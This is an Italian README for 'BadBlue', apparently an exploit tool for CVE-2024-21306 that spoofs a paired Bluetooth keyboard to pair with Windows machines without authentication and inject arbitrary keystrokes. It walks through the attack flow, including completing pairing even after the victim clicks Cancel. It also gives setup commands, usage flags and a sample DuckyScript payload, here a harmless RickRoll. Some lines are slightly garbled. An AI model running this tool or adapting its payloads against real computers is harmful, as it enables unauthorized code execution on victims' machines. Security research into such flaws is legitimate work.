
CVE-2024-21306 Implementazione BadBlue (usando DuckyScript)
CVE-2024-21306 Implementazione di BadBlue (usando DuckyScript)
Peering non autenticato che porta all'esecuzione di codice (usando tastiera HID)
Questa è un'implementazione della CVE scoperta da marcnewlin
E un po' di codice da BlueDucky
BadBlue è un potente strumento per sfruttare una vulnerabilità nei dispositivi Bluetooth. Eseguendo questo script, puoi:
Ho eseguito con successo questo su qualsiasi Raspberry Pi 4 e VirtualBox utilizzando il modulo Bluetooth CSR 4.0, ORICO 4.0,.. Funziona contro diverse versioni di Windows con versione inferiore alla .3007. Il computer Windows deve essere abbinato a una tastiera Bluetooth e la tastiera deve essere spenta (o fuori portata).
Un attaccante, utilizzando un computer Ubuntu (Kali può funzionare ma non è raccomandato) e un adattatore Bluetooth basato su Broadcom (forse il CSR 4.0 può funzionare), spoofa l'indirizzo della tastiera di destinazione e si connette a L2CAP 17 sul computer Windows, specificando la capacità di associazione SSP NoInputNoOutput.
La vittima vedrà una notifica con la scritta Add a device Tap to set up your <Keyboard Name>.
Se ignorano la notifica, non accadrà nulla.
Se fanno clic sulla notifica, verrà mostrata una finestra di richiesta di associazione Bluetooth.
Se la vittima ha l'interfaccia Add a Bluetooth device aperta, non vedrà una notifica, ma riceverà immediatamente la richiesta di associazione come finestra modale.
L'attaccante può completare l'associazione quando la finestra di richiesta di associazione si chiude, anche se l'utente fa clic su Cancel o X. Una volta completata l'associazione, l'attaccante si connette a L2CAP 17 (HID Control).
L'attaccante può quindi connettersi a L2CAP 19 (HID Interrupt) ed è in grado di iniettare sequenze di tasti arbitrarie.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel o Approve)-k è la tastiera (predefinita la mia tastiera F4:73:35:7A:4B:BB, devi cambiarla)
-i è l'interfaccia (predefinita hci0)
-c è il dispositivo Windows di destinazione (lascia vuoto, lo strumento esegue la scansione automatica per te)
Lavori in corso:
Forse al primo utilizzo readchar potrebbe mancare; usa il seguente comando:
pip install readchar
Questo strumento dovrebbe essere eseguito in un ambiente GUI; la CLI può causare un errore dbus-launch; se sai come risolverlo, contattami.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<>.?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300